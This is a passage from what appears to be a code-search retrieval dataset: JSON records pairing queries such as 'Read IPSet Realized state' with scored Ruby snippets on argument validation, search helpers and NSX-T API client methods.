= 1\n else\n return super # function name doesn't match, so default to superclass' implementation\n end\n \n # now build the search terms\n match_attr_name = components[3..components.count].join('_')\n search_terms = {match_attr_name => args[0]}\n puts \"search_terms = #{search_terms}\" if FinalCutServer.debug\n \n # finally we're ready to make the call and return the result directly\n search(direction, search_terms, deep, limit)\n end", "title": "" }, { "docid": "677407f36d32efaa516d87f968ceb04d", "score": "0.5279883", "text": "def arguments_valid?\n \n end", "title": "" }, { "docid": "c7639532fdfdb2111a61494535fd79ed", "score": "0.52790445", "text": "def place_args_valid?(args)\n return false if args.nil?\n args = place_args_deconstruct(args)\n Helper::is_i?(args[0]) and Helper::is_i?(args[1]) and directions.include?(args[2])\n end", "title": "" }, { "docid": "0d59baa95f73e6f6f0c0ad03f22c31ca", "score": "0.5272958", "text": "def spell_check(*)\n []\n end", "title": "" }, { "docid": "432c438225656d123d20a08c50b54372", "score": "0.5272857", "text": "def arguments_valid?\n true if @options.author.length >= 1 or @options.key.length >= 1 or\n @options.conf.length >= 1 or @options.keyword.length >= 1 or @options.input != nil\n end", "title": "" }, { "docid": "b30ccbfe1eabf5c5376c82b33ec8e1d6", "score": "0.5272476", "text": "def set_search_option(opts)\n opts = check_params(opts,[:options])\n super(opts)\n end", "title": "" }, { "docid": "7a8d390afefdc6f86fe585da598cc5ba", "score": "0.5270654", "text": "def validate!(options)\n raise Pricer::Errors::BadInput if options.nil?\n [:people, :price, :material].find do |arg|\n if options[arg].nil?\n raise Pricer::Errors::BadInput \n end\n end\n raise Pricer::Errors::BadInput if options[:people] < 1\n end", "title": "" }, { "docid": "65c3db9eaa2d8bc9be44ecd0c3666cf1", "score": "0.5267295", "text": "def valid_find?(find)\n find != nil\n end", "title": "" }, { "docid": "28aea385cef838a52bdb9b3020a6e792", "score": "0.52648884", "text": "def title_and_author_search_args(title_query, author_query)\n {'q'=>\"_query_:\\\"{!dismax spellcheck.dictionary=title qf=$title_qf pf=$title_pf}#{title_query}\\\" AND _query_:\\\"{!dismax spellcheck.dictionary=author qf=$author_qf pf=$author_pf}#{author_query}\\\"\", 'qt'=>'search', 'defType'=>'lucene'}\nend", "title": "" }, { "docid": "c14a50ff91f5ebd24368a6a7e2471592", "score": "0.5258922", "text": "def find(args)\n raise RuntimeError, \"Method not implemented\"\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.52566516", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.52566516", "text": "def check_params; true; end", "title": "" }, { "docid": "1b068c4d694bf042110bd40c0012b608", "score": "0.52562106", "text": "def find(subcmds, param)\n param.downcase!\n for try_subcmd in subcmds do\n if (param.size >= try_subcmd.min) and\n (try_subcmd.name[0..param.size-1] == param)\n return try_subcmd\n end\n end\n return nil\n end", "title": "" }, { "docid": "1b068c4d694bf042110bd40c0012b608", "score": "0.52562106", "text": "def find(subcmds, param)\n param.downcase!\n for try_subcmd in subcmds do\n if (param.size >= try_subcmd.min) and\n (try_subcmd.name[0..param.size-1] == param)\n return try_subcmd\n end\n end\n return nil\n end", "title": "" }, { "docid": "1989d9378dd48554c4ba4ac02d3ef633", "score": "0.5250064", "text": "def validate_find_options_with_finders(options)\n validate_find_options_without_finders(HelperMethods.extend_delete_keys(self, options))\n end", "title": "" }, { "docid": "f678d65b9e2d5d7d1ab66d59408377dc", "score": "0.52461696", "text": "def allowed_types\n [SearchString]\nend", "title": "" }, { "docid": "2786f166d0651d33dc727e81edebbd2b", "score": "0.52358025", "text": "def validateArgs()\n \n return true\nend", "title": "" }, { "docid": "7ce319299b0024a77363b48c5b859861", "score": "0.523229", "text": "def validate_option_fields!(fields)\n fields.uniq!\n #check to make sure all fields exist\n #TODO Write check code for multi-table... ignoring this for now\n missing_fields = []\n fields.each do |f|\n missing_fields << f.to_s unless column_names().include?(f.to_s) or f.to_s.include?(\".\")\n end\n raise ArgumentError, \"Missing fields: #{missing_fields.sort.join(\",\")} in acts_as_tsearch definition for \n table #{table_name}\" if missing_fields.size > 0\n end", "title": "" }, { "docid": "ed81bce838a257351ac6cc6a7f89ff5e", "score": "0.5229426", "text": "def argumentos_correctos?(name, type, uses)\n if not name_correcto? name\n resultado = false\n elsif not type_correcto? type\n resultado = false\n elsif not uses_correcto? uses\n resultado = false\n else\n resultado = true\n end\n resultado\n end", "title": "" }, { "docid": "b3d3ba7a6db23e4c561710464ebfc61e", "score": "0.5223802", "text": "def search_chr_pos\n ## validation appropriate fields and then query the model\n if (params[:chromosome] == \"\")\n redirect_to :action => \"home\"\n flash[:notice] = \"You must select a Chromosome !\"\n flash[:color]= \"invalid\"\n elsif (!(params[:start_pos] =~ /\\d/) or !(params[:end_pos] =~ /\\d/) or params[:end_pos].length > 11 or params[:start_pos].length > 11)\n redirect_to :action => \"home\"\n flash[:notice] = \"Wrong Position Values !\"\n flash[:color]= \"invalid\"\n elsif(!(params[:af] == \"\") and !(params[:af] =~ /^\\>\\=(\\s)+[01]\\.\\d/) and !(params[:af] =~ /^\\>(\\s)+[01]\\.\\d/) and !(params[:af] =~ /^\\<\\=(\\s)+[01]\\.\\d/) and !(params[:af] =~ /^\\<(\\s)+[01]\\.\\d/) and !(params[:af] =~ /^\\=(\\s)+[01]\\.\\d/) and !(params[:af] =~ /^\\!\\=(\\s)+[01]\\.\\d/))\n redirect_to :action => \"home\"\n flash[:notice] = \"Wrong Allele Frequency format !\"\n flash[:color]= \"invalid\"\n else\n @res = Snp.searchChrPos(params[:chromosome],params[:start_pos],params[:end_pos],params[:chPlatform],params[:chGeneDef],params[:chFunction],params[:af])\n end\n end", "title": "" }, { "docid": "5f29bf4e326e1f635303b53f83ae4195", "score": "0.5213622", "text": "def search(search_word)\n \n end", "title": "" }, { "docid": "6e4de68b323f9f2bf729102a77aac861", "score": "0.520052", "text": "def search( _word )\n # TODO\n end", "title": "" }, { "docid": "dfa246bd237534d14f835057a4c0e786", "score": "0.5197319", "text": "def search\n \n end", "title": "" }, { "docid": "7053bcf03a44b8f1596fa4c5b9e02306", "score": "0.5196783", "text": "def validate_params(params)\n if params.size < 2\n raise OptionValidationError.new(\"CHEFVAL002\", self)\n end\n\n if params.size == 2\n # Trying to specify a recipe to run remotely, no properties\n cb = params[1]\n if File.exist?(cb)\n # This is a path specification, and we know it is valid\n elsif cb =~ /^#{CB_MATCHER}$/ || cb =~ /^#{CB_MATCHER}::#{CB_MATCHER}$/\n # They are specifying a cookbook as 'cb_name' or 'cb_name::recipe'\n else\n raise OptionValidationError.new(\"CHEFVAL004\", self, cb)\n end\n elsif params.size >= 3\n properties = params[3..-1]\n properties.each do |property|\n unless property =~ PROPERTY_MATCHER\n raise OptionValidationError.new(\"CHEFVAL003\", self, property)\n end\n end\n end\n end", "title": "" }, { "docid": "67258a5f4777cc960e128554c55a1e12", "score": "0.5194597", "text": "def parse_where(arg)\n result = nil\n if x = parse_string(arg, 100)\n if (loc = Location.safe_find(x)) or\n (loc = Location.find_by_sync_id(x)) or\n (loc = Location.find_by_name(x))\n result = [loc, nil]\n else\n result = [nil, x]\n end\n end\n return result\n end", "title": "" }, { "docid": "b9f6a7868bded26cc2280070611e2b00", "score": "0.51858497", "text": "def make_sure_found_all_objects(ids, type) # :doc:\n if @ids_arg && !@something_besides_ids\n for x in @ids_arg.split(',')\n if x.match(/^\\d+$/)\n if !ids.include?(x.to_s) && !ids.include?(x.to_i)\n errors << error(201, \"#{type} ##{x} not found\")\n end\n elsif x.match(/^(\\d+)-(\\d+)$/)\n a, b = $1.to_i, $2.to_i\n a, b = b, a if a > b\n if !ids.any? {|x| x.to_i >= a || x.to_i <= b}\n errors << error(201, \"no #{type} found between ##{a} and ##{b}\")\n end\n end\n end\n end\n end", "title": "" }, { "docid": "1af378e4509ecb1aae2a74ab3e3e77f0", "score": "0.5185375", "text": "def type *args, env:, frames:\n raise ArgumentError, 'Expected 1 argumnet' if args.empty?\n message = 'unknown'\n result = false\n vf = VerbFinder.new\n if args[0] == \"-a\"\n args.shift\n msg = :find_all\n else\n msg = :find\n end\n res = vf.send(msg, args[0], vm: self) # find(args[0], vm: self)\n strm = (res.nil? ? :err : :out)\n env[strm].puts (res.nil? ? 'unknown' : res)\n !res.nil?\n end", "title": "" }, { "docid": "d2b49b0d0b83331b5f838615c9ad30ab", "score": "0.51816046", "text": "def handle_long args, a\n arg = a[2..-1].split '=', 2\n\n # Check first if we have group defined\n grparg = arg[0].split ':', 2\n if grparg.size == 2\n unless @group_names[grparg[0]]\n c = @group_names.select {|k,v| k.start_with? grparg[0] }\n return invalid_parameter a if c.size == 0\n return ambigous_parameter a, c.map {|k,v| \"#{k}:...\" } if c.size > 1\n grparg[0] = c.keys.first\n end\n find = \"#{grparg[0]}:#{grparg[1]}\"\n long = @long_grp\n else\n find = arg[0]\n long = @long_nogrp\n end\n\n x = long[find]\n unless x # handle abbreviated options\n c = long.select {|k,v| k.start_with? find }\n return invalid_parameter a if c.size == 0\n return ambigous_parameter a, c.keys if c.size > 1\n x = c.values.first\n end\n return ambigous_parameter a, x[1..-1].map {|m| \"#{m}:#{arg[0]}\"} if x[0] == AMBIGOUS\n opt = @groups[x[0]].opts[x[1]]\n\n handle_general args, x, opt, arg[1]\n end", "title": "" }, { "docid": "8b7fba1e8be204a76db929e845756228", "score": "0.5178072", "text": "def test_name_search\r\n matched_items = Search.search(\"Liver\")\r\n assert(matched_items.include?(@liver))\r\n assert(matched_items.length, 1)\r\n\r\n matched_items = Search.search(\"er\")\r\n assert(matched_items.include?(@liver))\r\n assert(matched_items.include?(@bender))\r\n assert(matched_items.length, 2)\r\n end", "title": "" }, { "docid": "74d01cf47c7ee03eecd7b064cc8fb681", "score": "0.5177618", "text": "def hack_name_query\n return unless flavor == :pattern_search &&\n args[:names].empty? &&\n (is_pattern_a_name? || any_taxa_modifiers_present?)\n\n self.flavor = :all\n args[:names] = args[:pattern]\n args.delete(:pattern)\n end", "title": "" }, { "docid": "e8f57f75a3f3fba6170adec3a2949ffc", "score": "0.517435", "text": "def _validate_par(db)\n res = db.deep_search(format('\\$[%d-9]', @argc + 1))\n return db if res.empty?\n rl = res.join('/')\n cfg_err(\"Can't replace Parameter (No <par_num>?) [#{rl}] for #{@argc}\")\n ensure\n @argc = 0\n end", "title": "" }, { "docid": "df5b5562a35b5144d069db6714a8a9e1", "score": "0.51736313", "text": "def search(str, *opts)\n if opts.first.kind_of?(Hash)\n warn(\"#{caller.first}: Deprecation Warning: Using a hash as further arguments is deprecated. Pass the symbols directly.\")\n opts = opts.first.keys\n end\n opts = [:name, :class, :classname] if opts.empty?\n \n #Allow Regular Expressions. Since I can't pass them directly to the command line,\n #I need to get their source. Otherwise we want an exact match, therefore the line\n #begin and line end anchors need to be set around the given string.\n str = str.source if str.kind_of?(Regexp)\n #TODO\n #The following is the new behaviour that will be activated with the next minor version.\n #See DEPRECATE.rdoc.\n #str = if str.kind_of?(Regexp)\n #str.source\n #else\n #\"^#{str.to_str}$\"\n #end\n \n cmd = \"#{XDo::XDOTOOL} search \"\n opts.each{|sym| cmd << \"--#{sym} \"}\n cmd << \"'\" << str << \"'\"\n #Don't handle errors since we want an empty array in case of an error\n Open3.popen3(cmd){|stdin, stdout, stderr| stdin.close_write; stdout.read}.lines.to_a.collect{|l| l.strip.to_i}\n end", "title": "" }, { "docid": "a45f6586748757e2c5f2c200ee146c80", "score": "0.517005", "text": "def arguments_valid?\n \n true \n \n end", "title": "" }, { "docid": "34c8aaa585d58c4882380975ea47cfea", "score": "0.51674", "text": "def searched\n\n end", "title": "" }, { "docid": "c3de563b4dacae1685d96c8f596dec7e", "score": "0.51651746", "text": "def argumentos_correctos?(name, boost, uses)\n if not name_correcto? name\n resultado = false\n elsif not boost_correcto? boost\n resultado = false\n elsif not uses_correcto? uses\n resultado = false\n else\n resultado = true\n end\n resultado\n end", "title": "" }, { "docid": "f6062c95cd25063bf5f3ea527472d4e2", "score": "0.5163332", "text": "def validate_options\n if @term == nil or @term.empty?\n raise \"You need to provide a Twitter search term\"\n end\n end", "title": "" }, { "docid": "bdddffa2f4b45c4d84530d6c36dcaf45", "score": "0.5162698", "text": "def valid_option_by? option_by\n %w(text value index).include? option_by\nend", "title": "" }, { "docid": "01b5d97ff578d1c54a6171c7cc86780b", "score": "0.51588935", "text": "def argsContain(query)\n case query\n when Array\n ARGV.each { |arg|\n return true if query.include? arg.downcase\n }\n return false\n else\n return ARGV.include? query\n end\n return false\nend", "title": "" }, { "docid": "8bac988523927a92284adf8890e3344b", "score": "0.51496786", "text": "def arguments_valid?\n raise \"TODO - parse arguments\"\n end", "title": "" }, { "docid": "b9fb1ce45afe7e6fe80b0d1f87420c05", "score": "0.51447666", "text": "def _entry_2_validatecommand(*args)\n\n end", "title": "" }, { "docid": "b347a927cee702380913d06ac0650ff8", "score": "0.51427186", "text": "def search\n require \"pp\"\n fields = {}\n fields[:bankname] = params[:bankname] if params[:bankname].present? \n fields[:branchname] = params[:branchname] if params[:branchname].present? \n fields[:bankcode] = params[:bankcode] if params[:bankcode].present? \n fields[:branchcode] = params[:branchcode] if params[:branchcode].present? \n fields[:swiftcode] = params[:swiftcode] if params[:swiftcode].present? \n fields[:address] = params[:address] if params[:address].present? \n \n #@banks = Bank.search_or(fields)\n @banks = Bank.search_and(fields)\n end", "title": "" }, { "docid": "caf5e21ffb495f1a2566ca6a564a6fdb", "score": "0.51376677", "text": "def allowed_arguments(arguments); end", "title": "" }, { "docid": "bc7bd2897396981d6b72e7799715adde", "score": "0.5135811", "text": "def method_missing(sym, *args)\n if match = /^find_(all_by|by)_([_a-zA-Z]\\w*)$/.match(sym.to_s)\n find_how_many = ($1 == 'all_by') ? :all : :first\n field_names = $2.split(/_and_/)\n super unless all_fields_exist?(field_names)\n search = search_from_names_and_values(field_names, args)\n self.find(find_how_many, {:conditions => search}, *args[field_names.length..-1])\n elsif match = /^find_or_(initialize|create)_by_([_a-zA-Z]\\w*)$/.match(sym.to_s)\n create = $1 == 'create'\n field_names = $2.split(/_and_/)\n super unless all_fields_exist?(field_names)\n search = search_from_names_and_values(field_names, args)\n row = self.find(:first, {:conditions => search})\n return self.new(row) if row # found\n obj = self.new(search.merge(args[field_names.length] || {})) # new object using search and remainder of args\n obj.save if create\n obj\n else\n super\n end\n end", "title": "" }, { "docid": "5a29cd36da6ebb5272ea36d5978f745d", "score": "0.5129554", "text": "def search(args = {})\n call('search', args)\n end", "title": "" }, { "docid": "eba09c9230c6451f5b15c302768b0088", "score": "0.5125249", "text": "def positional_arguments(args)\n args.grep(/^(([[:alnum:]])[[:alnum:]\\_\\-]+)$/)\n end", "title": "" }, { "docid": "63728a7e6af9f73e7e705dafd56a41d4", "score": "0.512391", "text": "def method_missing(method_name, *arguments)\n if query = finder?(method_name)\n search = Hash[query[:attributes].split('_and_').zip(arguments)]\n send \"find_#{query[:type].downcase}\", search\n else\n super\n end\n end", "title": "" }, { "docid": "426b2fd7183154d42fe5fe4b9909ecb7", "score": "0.51238596", "text": "def suggestion_params\n params.require(:names)\n end", "title": "" }, { "docid": "6dad70c0a45df25ca4ed88fb3b2cc60a", "score": "0.51231015", "text": "def find_commands argv\n fuzzy_match commands, argv.first, :short_name\n end", "title": "" }, { "docid": "7b6119a9f344d3d08713220cc1e7fb64", "score": "0.51230925", "text": "def test_searchVi_param_null\n vn = Vietnamese.search('')\n if vn.length==2\n assert true\n else\n assert false, \"search err\"\n end\n end", "title": "" }, { "docid": "36473d02d37688f6cc14d6ba9bd40a3b", "score": "0.51194155", "text": "def argfind\n ret = nil\n find { |e| ret ||= yield(e) }\n ret\n end", "title": "" } ]
386a9b8296607b6e8619f5c4c19eb7f1
Read IPSet Realized state Read an IPSet
[ { "docid": "a448fc2b63815d963aaf6b52e83e0e63", "score": "0.57326156", "text": "def read_ip_set_realized_state_with_http_info(enforcement_point_name, ip_set_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraRealizedStateApi.read_ip_set_realized_state ...'\n end\n # verify the required parameter 'enforcement_point_name' is set\n if @api_client.config.client_side_validation && enforcement_point_name.nil?\n fail ArgumentError, \"Missing the required parameter 'enforcement_point_name' when calling PolicyInfraRealizedStateApi.read_ip_set_realized_state\"\n end\n # verify the required parameter 'ip_set_name' is set\n if @api_client.config.client_side_validation && ip_set_name.nil?\n fail ArgumentError, \"Missing the required parameter 'ip_set_name' when calling PolicyInfraRealizedStateApi.read_ip_set_realized_state\"\n end\n # resource path\n local_var_path = '/global-infra/realized-state/enforcement-points/{enforcement-point-name}/ip-sets/ip-sets-nsxt/{ip-set-name}'.sub('{' + 'enforcement-point-name' + '}', enforcement_point_name.to_s).sub('{' + 'ip-set-name' + '}', ip_set_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'GenericPolicyRealizedResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraRealizedStateApi#read_ip_set_realized_state\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "88bef4096a46a7ff186d4db2fd91902b", "score": "0.65868706", "text": "def read_ip_set_realized_state(enforcement_point_name, ip_set_name, opts = {})\n data, _status_code, _headers = read_ip_set_realized_state_with_http_info(enforcement_point_name, ip_set_name, opts)\n data\n end", "title": "" }, { "docid": "55686d99701f0c5729f2c72600d9abc4", "score": "0.6539269", "text": "def read_ip_set_realized_state(enforcement_point_name, ip_set_name, opts = {})\n data, _status_code, _headers = read_ip_set_realized_state_with_http_info(enforcement_point_name, ip_set_name, opts)\n return data\n end", "title": "" }, { "docid": "acf95c0d5c4bf282e1756b0856517d89", "score": "0.62123835", "text": "def read_ip_set_realized_state_0(enforcement_point_name, ip_set_name, opts = {})\n data, _status_code, _headers = read_ip_set_realized_state_0_with_http_info(enforcement_point_name, ip_set_name, opts)\n data\n end", "title": "" }, { "docid": "260e1ed0dca5d2d16f8e7f637b4160af", "score": "0.6040617", "text": "def read_ip_set(ip_set_id, opts = {})\n data, _status_code, _headers = read_ip_set_with_http_info(ip_set_id, opts)\n data\n end", "title": "" }, { "docid": "5ba1a171732ef6dd5a509e33b4fe9c5c", "score": "0.6002054", "text": "def read_data_set_metadata\n metadata = @interface.read_metadata\n @variable_set = metadata[:variable_set]\n end", "title": "" }, { "docid": "e6d124e089d1e910b404bb9e8206b14a", "score": "0.59251547", "text": "def read_set(repository, query)\n read_set_with_sql(repository,\n query.model,\n query.fields,\n query_read_statement(query),\n query.parameters,\n query.reload?)\n end", "title": "" }, { "docid": "6ceab3e85771e02ab41dd48012adb8cb", "score": "0.5817244", "text": "def read_set(repository, query)\n raise NotImplementedError\n end", "title": "" }, { "docid": "6ceab3e85771e02ab41dd48012adb8cb", "score": "0.5817244", "text": "def read_set(repository, query)\n raise NotImplementedError\n end", "title": "" }, { "docid": "4d8111312b88530dec30869dbf6860fa", "score": "0.57888573", "text": "def mdr_reads; @bits[17]; end", "title": "" }, { "docid": "ba84942d99dc618f604867f8e7826a5e", "score": "0.5778597", "text": "def read_state()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "1c8219501d026e4d3f6ab8f8f10f61f9", "score": "0.5717648", "text": "def read_set(repository, query)\n raise NotImplementedError.new\n end", "title": "" }, { "docid": "cee9baa1ffa7c8de5b1b6f90be9927d8", "score": "0.5682968", "text": "def read\n @data || self.set\n end", "title": "" }, { "docid": "109f6ba75b2e9cf895006b30817748bf", "score": "0.5675224", "text": "def read_ip_set_realized_state_with_http_info(enforcement_point_name, ip_set_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PolicyApi.read_ip_set_realized_state ...\"\n end\n # verify the required parameter 'enforcement_point_name' is set\n if @api_client.config.client_side_validation && enforcement_point_name.nil?\n fail ArgumentError, \"Missing the required parameter 'enforcement_point_name' when calling PolicyApi.read_ip_set_realized_state\"\n end\n # verify the required parameter 'ip_set_name' is set\n if @api_client.config.client_side_validation && ip_set_name.nil?\n fail ArgumentError, \"Missing the required parameter 'ip_set_name' when calling PolicyApi.read_ip_set_realized_state\"\n end\n # resource path\n local_var_path = \"/infra/realized-state/enforcement-points/{enforcement-point-name}/ip-sets/ip-sets-nsxt/{ip-set-name}\".sub('{' + 'enforcement-point-name' + '}', enforcement_point_name.to_s).sub('{' + 'ip-set-name' + '}', ip_set_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RealizedIPSet')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyApi#read_ip_set_realized_state\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ab01d6f265a282201ddc72b5e9f2d71c", "score": "0.5600705", "text": "def read_ip_set_realized_state_0_with_http_info(enforcement_point_name, ip_set_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraRealizedStateApi.read_ip_set_realized_state_0 ...'\n end\n # verify the required parameter 'enforcement_point_name' is set\n if @api_client.config.client_side_validation && enforcement_point_name.nil?\n fail ArgumentError, \"Missing the required parameter 'enforcement_point_name' when calling PolicyInfraRealizedStateApi.read_ip_set_realized_state_0\"\n end\n # verify the required parameter 'ip_set_name' is set\n if @api_client.config.client_side_validation && ip_set_name.nil?\n fail ArgumentError, \"Missing the required parameter 'ip_set_name' when calling PolicyInfraRealizedStateApi.read_ip_set_realized_state_0\"\n end\n # resource path\n local_var_path = '/infra/realized-state/enforcement-points/{enforcement-point-name}/ip-sets/ip-sets-nsxt/{ip-set-name}'.sub('{' + 'enforcement-point-name' + '}', enforcement_point_name.to_s).sub('{' + 'ip-set-name' + '}', ip_set_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'GenericPolicyRealizedResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraRealizedStateApi#read_ip_set_realized_state_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a4cdd87ccd5cba2570c706da4171cf69", "score": "0.5567613", "text": "def read_set(repository, query)\n properties = query.fields\n properties_with_indexes = Hash[*properties.zip((0...properties.size).to_a).flatten]\n\n set = LoadedSet.new(repository, query.resource, properties_with_indexes)\n \n sql = query_read_statement(query)\n \n begin\n connection = create_connection\n command = connection.create_command(sql)\n command.set_types(properties.map { |property| property.type })\n reader = command.execute_reader(query.parameters)\n \n while(reader.next!)\n set.materialize!(reader.values)\n end\n \n reader.close\n rescue StandardError => se\n p se, sql\n raise se\n ensure\n close_connection(connection)\n end\n \n set.entries\n end", "title": "" }, { "docid": "6d59db38ab6167fe517a93527e5bea1d", "score": "0.55632716", "text": "def read_state\n end", "title": "" }, { "docid": "2936faf66cf30d2edc23fee14d9da29d", "score": "0.5521206", "text": "def state_values\n @values ||= read_ip_output\n end", "title": "" }, { "docid": "2936faf66cf30d2edc23fee14d9da29d", "score": "0.5521206", "text": "def state_values\n @values ||= read_ip_output\n end", "title": "" }, { "docid": "2936faf66cf30d2edc23fee14d9da29d", "score": "0.5521206", "text": "def state_values\n @values ||= read_ip_output\n end", "title": "" }, { "docid": "8a88536092224ba250f0adad86d4d758", "score": "0.5457422", "text": "def read()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "8a88536092224ba250f0adad86d4d758", "score": "0.5456073", "text": "def read()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "b8f527d5df8e40c5ec8f8975eb8e9901", "score": "0.5446856", "text": "def new_input_set()\n return ReadWantsToReadsInputSet.new()\n end", "title": "" }, { "docid": "6ba186c3a18860be0a9ee3ecc7780c7a", "score": "0.54328257", "text": "def new_input_set()\n return ReadReadingsInputSet.new()\n end", "title": "" }, { "docid": "6ba186c3a18860be0a9ee3ecc7780c7a", "score": "0.54328257", "text": "def new_input_set()\n return ReadReadingsInputSet.new()\n end", "title": "" }, { "docid": "a2b76b77ec910628010839f08aeb5c43", "score": "0.52691716", "text": "def get_set( set_id )\n log_message( \"Getting set #{set_id}...\" ) unless @logging == false\n @connection.get( \"set/#{set_id}\" )\n end", "title": "" }, { "docid": "78d4bc8df06060cfe40eea2c0bb7af75", "score": "0.52325726", "text": "def read_mac_set_realized_state(enforcement_point_name, mac_set_name, opts = {})\n data, _status_code, _headers = read_mac_set_realized_state_with_http_info(enforcement_point_name, mac_set_name, opts)\n data\n end", "title": "" }, { "docid": "10fb326dac3481e18b0da5b7a8cefded", "score": "0.5199958", "text": "def read_set(value)\n hash_extractor(value)\n end", "title": "" }, { "docid": "ab23b14ab14c9518fcbfe1094f6dba76", "score": "0.51999575", "text": "def ir_reads; @bits[19]; end", "title": "" }, { "docid": "dfd2ed2d16fccb0a2af9fb852fbb563d", "score": "0.5182008", "text": "def read_mac_set_realized_state(enforcement_point_name, mac_set_name, opts = {})\n data, _status_code, _headers = read_mac_set_realized_state_with_http_info(enforcement_point_name, mac_set_name, opts)\n return data\n end", "title": "" }, { "docid": "2c36c755d961caf4e04e74f9db8c426d", "score": "0.5181716", "text": "def read_pool\n @primary_pool\n end", "title": "" }, { "docid": "0398a55452673db70ed6e8d07e6eb57b", "score": "0.5174301", "text": "def read_namespaced_stateful_set(name, namespace, opts = {})\n data, _status_code, _headers = read_namespaced_stateful_set_with_http_info(name, namespace, opts)\n return data\n end", "title": "" }, { "docid": "0398a55452673db70ed6e8d07e6eb57b", "score": "0.5174301", "text": "def read_namespaced_stateful_set(name, namespace, opts = {})\n data, _status_code, _headers = read_namespaced_stateful_set_with_http_info(name, namespace, opts)\n return data\n end", "title": "" }, { "docid": "cac5350c7104c3bbf6d373cacbdc875e", "score": "0.5167324", "text": "def read_ip_set_with_http_info(ip_set_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiGroupingObjectsIpSetsApi.read_ip_set ...'\n end\n # verify the required parameter 'ip_set_id' is set\n if @api_client.config.client_side_validation && ip_set_id.nil?\n fail ArgumentError, \"Missing the required parameter 'ip_set_id' when calling ManagementPlaneApiGroupingObjectsIpSetsApi.read_ip_set\"\n end\n # resource path\n local_var_path = '/ip-sets/{ip-set-id}'.sub('{' + 'ip-set-id' + '}', ip_set_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'IPSet')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiGroupingObjectsIpSetsApi#read_ip_set\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "15d7e6a3bfc294bc61f2fc2671cacec7", "score": "0.5153386", "text": "def getSet\n\tputs \"Get a set\"\n\tputs \"Enter set key:\"\n\tkey = gets.chomp\n\n\tbegin\n\t\tmembers = @redis.smembers key\n\n\t\tmembers.each do |member|\n\t\t\tputs \"#{member}\"\n\t\tend\n\trescue Redis::CommandError => e\n\t\tputs \"Set doesn't exist or key doesn't map to a set\"\n\tend\nend", "title": "" }, { "docid": "84d9943f91187ff6545f90d0c5c614c8", "score": "0.51321554", "text": "def parse_ms_set( s )\n len = s.length\n\n\n if s[0,1] != \"(\" or s[len-1,1] != \")\"\n throw \"bad multi state set\"\n end\n\n raw = s[1,len-2]\n list = []\n\n 0.upto( raw.length - 1 ) do |i|\n list << raw[i,1].to_i\n end\n return list\nend", "title": "" }, { "docid": "511edcb6f7b480fc9a095b8729ade5da", "score": "0.51158404", "text": "def _read\n set(default) unless self.defined?\n get\n end", "title": "" }, { "docid": "13b36c27cd552128cb49f566a50629bf", "score": "0.51121724", "text": "def parse_ms_set( s )\n len = s.length\n\n\n if s[0,1] != \"(\" or s[len-1,1] != \")\"\n 